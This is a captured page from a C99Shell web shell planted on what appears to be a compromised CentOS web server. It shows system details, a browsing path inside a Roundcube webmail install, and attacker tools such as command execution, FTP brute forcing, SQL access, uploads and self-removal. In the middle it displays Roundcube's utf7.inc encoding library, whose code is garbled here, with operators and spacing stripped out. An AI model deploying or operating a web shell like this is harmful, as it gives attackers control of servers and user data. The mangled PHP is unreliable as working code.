!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/program/lib/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     utf7.inc (5.35 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 *  Copyright (C) 2000 Edmund Grimley Evans <edmundo@rano.org>
 * 
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 * 
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  Translated from C to PHP by Thomas Bruederli <roundcube@gmail.com>
 */ 


/**
 * Convert the data ($str) from RFC 2060's UTF-7 to UTF-8.
 * If input data is invalid, return the original input string.
 * RFC 2060 obviously intends the encoding to be unique (see
 * point 5 in section 5.1.3), so we reject any non-canonical
 * form, such as &ACY- (instead of &-) or &AMA-&AMA- (instead
 * of &AMAAwA-).
 */
function utf7_to_utf8($str)
{
  
$Index_64 = array(
      -
1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
      -
1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
      -
1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,6263,-1,-1,-1,
      
52,53,54,5556,57,58,5960,61,-1,-1, -1,-1,-1,-1,
      -
1012,  3456,  789,1011,12,13,14,
      
15,16,17,1819,20,21,2223,24,25,-1, -1,-1,-1,-1,
      -
1,26,27,2829,30,31,3233,34,35,3637,38,39,40,
      
41,42,43,4445,46,47,4849,50,51,-1, -1,-1,-1,-1
  
);

  
$u7len strlen($str);
  
$str strval($str);
  
$p $err '';

  for (
$i=0$u7len 0$i++, $u7len--)
  {
    
$u7 $str[$i];
    if (
$u7 == '&')
    {
      
$i++;
      
$u7len--;
      
$u7 $str[$i];
      
      if (
$u7len && $u7 == '-')
      {
        
$p .= '&';
        continue;
      }

      
$ch 0;
      
$k 10;
      for (; 
$u7len 0$i++, $u7len--)
      {
        
$u7 $str[$i];

        if ((
ord($u7) & 0x80) || ($b $Index_64[ord($u7)]) == -1)
          break;

        if (
$k 0)
        {
          
$ch |= $b << $k;
          
$k -= 6;
        }
        else
        {
          
$ch |= $b >> (-$k);
          if (
$ch 0x80)
          {
            
/* Printable US-ASCII */
            
if (0x20 <= $ch && $ch 0x7f)
              return 
$err;
           
$p .= chr($ch);
          }
          else if (
$ch 0x800)
          {
            
$p .= chr(0xc0 | ($ch >> 6));
            
$p .= chr(0x80 | ($ch 0x3f));
          }
          else
          {
            
$p .= chr(0xe0 | ($ch >> 12));
            
$p .= chr(0x80 | (($ch >> 6) & 0x3f));
            
$p .= chr(0x80 | ($ch 0x3f));
          }

          
$ch = ($b << (16 $k)) & 0xffff;
          
$k += 10;
        }
      }

      
/* Non-zero or too many extra bits */
      
if ($ch || $k 6)
        return 
$err;
        
      
/* BASE64 not properly terminated */
      
if (!$u7len || $u7 != '-')
        return 
$err;
        
      
/* Adjacent BASE64 sections */
      
if ($u7len && $str[$i+1] == '&' && $str[$i+2] != '-')
        return 
$err;
    }
    
/* Not printable US-ASCII */
    
else if (ord($u7) < 0x20 || ord($u7) >= 0x7f)
      return 
$err;
    else
      
$p .= $u7;
  }

  return 
$p;
}


/**
 * Convert the data ($str) from UTF-8 to RFC 2060's UTF-7.
 * Unicode characters above U+FFFF are replaced by U+FFFE.
 * If input data is invalid, return an empty string.
 */
function utf8_to_utf7($str)
{
  
$B64Chars = array(
    
'A''B''C''D''E''F''G''H''I''J''K''L''M''N''O',
    
'P''Q''R''S''T''U''V''W''X''Y''Z''a''b''c''d',
    
'e''f''g''h''i''j''k''l''m''n''o''p''q''r''s',
    
't''u''v''w''x''y''z''0''1''2''3''4''5''6''7',
    
'8''9''+'','
  
);

  
$u8len strlen($str);
  
$base64 $i 0;
  
$p $err '';

  while (
$u8len)
  {
    
$u8 $str[$i];
    
$c ord($u8);
    
    if (
$c 0x80)
    {
      
$ch $c;
      
$n 0;
    }
    else if (
$c 0xc2)
      return 
$err;
    else if (
$c 0xe0)
    {
      
$ch $c 0x1f;
      
$n 1;
    }
    else if (
$c 0xf0)
    {
      
$ch $c 0x0f;
      
$n 2;
    }
    else if (
$c 0xf8)
    {
      
$ch $c 0x07;
      
$n 3;
    }
    else if (
$c 0xfc)
    {
      
$ch $c 0x03;
      
$n 4;
    }
    else if (
$c 0xfe)
    {
      
$ch $c 0x01;
      
$n 5;
    }
    else
      return 
$err;

    
$i++;
    
$u8len--;

    if (
$n $u8len)
      return 
$err;

    for (
$j=0$j $n$j++)
    {
      
$o ord($str[$i+$j]);
      if ((
$o 0xc0) != 0x80)
        return 
$err;
      
$ch = ($ch << 6) | ($o 0x3f);
    }
    
    if (
$n && !($ch >> ($n 1)))
      return 
$err;
    
    
$i += $n;
    
$u8len -= $n;

    if (
$ch 0x20 || $ch >= 0x7f)
    {
      if (!
$base64)
      {
        
$p .= '&';
        
$base64 1;
        
$b 0;
        
$k 10;
      }
      if (
$ch & ~0xffff)
        
$ch 0xfffe;
      
      
$p .= $B64Chars[($b $ch >> $k)];
      
$k -= 6;
      for (; 
$k >= 0$k -= 6)
        
$p .= $B64Chars[(($ch >> $k) & 0x3f)];

      
$b = ($ch << (-$k)) & 0x3f;
      
$k += 16;
    }
    else
    {
      if (
$base64)
      {
        if (
$k 10)
          
$p .= $B64Chars[$b];
        
$p .= '-';
        
$base64 0;
      }
      
      
$p .= chr($ch);
      if (
chr($ch) == '&')
        
$p .= '-';
    }
  }

  if (
$base64)
  {
    if (
$k 10)
      
$p .= $B64Chars[$b];
    
$p .= '-';
  }

  return 
$p;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0044 ]--